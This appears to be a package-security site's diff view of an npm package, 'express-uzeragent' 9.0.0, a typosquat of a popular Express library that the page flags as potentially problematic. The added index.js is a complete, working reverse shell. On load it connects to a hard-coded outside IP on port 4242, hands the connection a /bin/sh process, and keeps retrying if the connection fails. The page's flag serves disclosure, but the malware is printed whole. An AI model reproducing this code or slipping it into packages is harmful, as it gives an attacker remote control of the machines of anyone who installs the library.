express-uzeragent 9.0.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of express-uzeragent might be problematic. Click here for more details.
- package/index.js +21 -0
- package/package.json +12 -0
package/index.js
ADDED
@@ -0,0 +1,21 @@
|
|
1
|
+
var net = require('net');
|
2
|
+
var spawn = require('child_process').spawn;
|
3
|
+
|
4
|
+
HOST="113.178.54.150";
|
5
|
+
PORT="4242";
|
6
|
+
TIMEOUT="5000";
|
7
|
+
|
8
|
+
function c(HOST,PORT) {
|
9
|
+
var client = new net.Socket();
|
10
|
+
client.connect(PORT, HOST, function() {
|
11
|
+
var sh = spawn('/bin/sh',[]);
|
12
|
+
client.write("Connected\r\n");
|
13
|
+
client.pipe(sh.stdin);
|
14
|
+
sh.stdout.pipe(client);
|
15
|
+
});
|
16
|
+
client.on('error', function(e) {
|
17
|
+
setTimeout(c(HOST,PORT), TIMEOUT);
|
18
|
+
});
|
19
|
+
}
|
20
|
+
|
21
|
+
c(HOST,PORT);
|
package/package.json
ADDED